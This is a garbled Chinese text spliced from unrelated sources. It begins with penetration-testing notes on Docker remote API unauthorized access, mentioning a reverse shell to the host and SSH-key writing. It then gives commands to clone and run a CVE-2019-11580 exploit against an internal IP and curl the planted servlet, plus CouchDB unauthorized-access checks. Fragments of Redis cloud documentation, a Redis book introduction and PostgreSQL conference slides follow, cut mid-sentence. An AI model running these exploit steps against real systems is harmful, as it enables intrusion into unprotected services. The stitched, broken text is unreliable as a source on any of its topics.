/tmp/root # 查看/tmp/root 文件 exit #退出容器 反弹宿主机shell 还有其他比如写入ssh公钥等利用方式，方式方法都是大同小异的，这里就不再介绍了。 也可以直接利用python脚本 Docker 未授权访问漏洞利用脚本[没试过] 防御手段 -简单粗暴的方法，对2375端口做网络访问控制，如ACL控制，或者访问规则。 -修改docker swarm的 uploadplugin.action -v git clone https://github.com/jas502n/CVE-2019-11580 cd CVE-2019-11580/ python CVE-2019-11580.py http://192.168.18.138:8095 curl http://192.168.18.138:8095/crowd/plugins/servlet/exp 12636/docker-compose.yml 未授权访问测试 任意命令执行 本机python运行http服务 docker-compose up -d curl http://192.168.18.129:5984 curl http://192.168.18.129:5984/_config python -m SimpleHTTPServer 9999 成功执行 nmap扫描

的方式确保要操作的 key 均分布在一个 hash slot 中。 比如有 key1，aakey，abkey3，那么我们在存储的时候需要用 {key}1，aa{key}，ab{key}3 的方式 存储，这样调用受限命令时才能生效。具体关于 hash tag 的用法请参见 Redis 官方文档： http://redis.io/topics/cluster-spec。 关于 Redis 命令的详细信息，请参见 在任何一款可以编辑 Python 的编辑器中输入如下代码，即可连接建立通过本地客户端 redis-py 进 行数据库操作。 C/C++ 客户端 操作步骤如下所示： 下载并编译安装Ｃ客户端，编译安装代码如下所示： } $value = $redis->get("foo"); echo $value; ?> #!/usr/bin/env python #-*- coding:

Config Get 命令放开限制。 LUA 支持 LUA 脚本放开限制，标准版-双节点、标准版-单节点支持用户直接调用。 集群版本条件性支持： 所有 key 都应该由 KEYS 数组来传递，redis.call/pcall 里面调用的 redis命令，key 的位置，必须是 KEYS array, 否则直接返回 error。 所有 key，必须在1个 eval/evalsha command keys must in same slot\r\n" Client list 命令 Client list 命令放开限制，标准版-双节点，标准版-单节点支持用户调用，集群版本暂时不支持。 云数据库 Redis 版 产品简介 32

读者可以通过 书本的⽬录和附录快速定位命令和示例， ⾮常便于⽇常查阅。 1.4 预备⼯作 本书包含⼤量 Redis 命令操作实例和 Python 代码应⽤示例， 执⾏和测试这些示例需要⽤到 Redis 服务器及其附 带的 redis-cli 客户端、Python 编程环境和 redis-py 客户端， 如果你尚未安装这些软件， 那么请查阅本书的附 录 A 和附录 B 并按照指引进⾏安装。 在正确安装 Redis 服务器： 并通过以下命令启动 redis-cli 客户端： $ redis-cli 127.0.0.1:6379> 以及通过以下命令启动 Python 解释器并载⼊ redis-py 库： $ python3 Python 3.7.3 (default, Mar 27 2019, 09:23:15) [Clang 10.0.1 (clang-1001.0.46.3)] on port 10086 然后在启动 Redis 服务器时向其提供该配置⽂件： $ redis-server myredis.conf 1.7 示例代码 正如上⾯提到的那样， 本书提供了⼤量 Python 代码示例， 这些示例的源码可以通过访问以下⻚⾯获取： github.com/huangz1990/RedisGuide-code 。 本书在展示代码示例的同时， 会在示例标题的旁边给出源代码的具体访问路径。

PostgreSQL 对接口的支持也是非常丰富的，几乎支持所有 类型的数据库客户端接口 PostgreSQL可以获得非常广阔范围的(开发)语言绑定 (包括 C，C++，Java，Perl，TCL和 Python等) PostgreSQL Advantages 2016Postgres中国用户大会 Postgres Conference China 2016 中国用户大会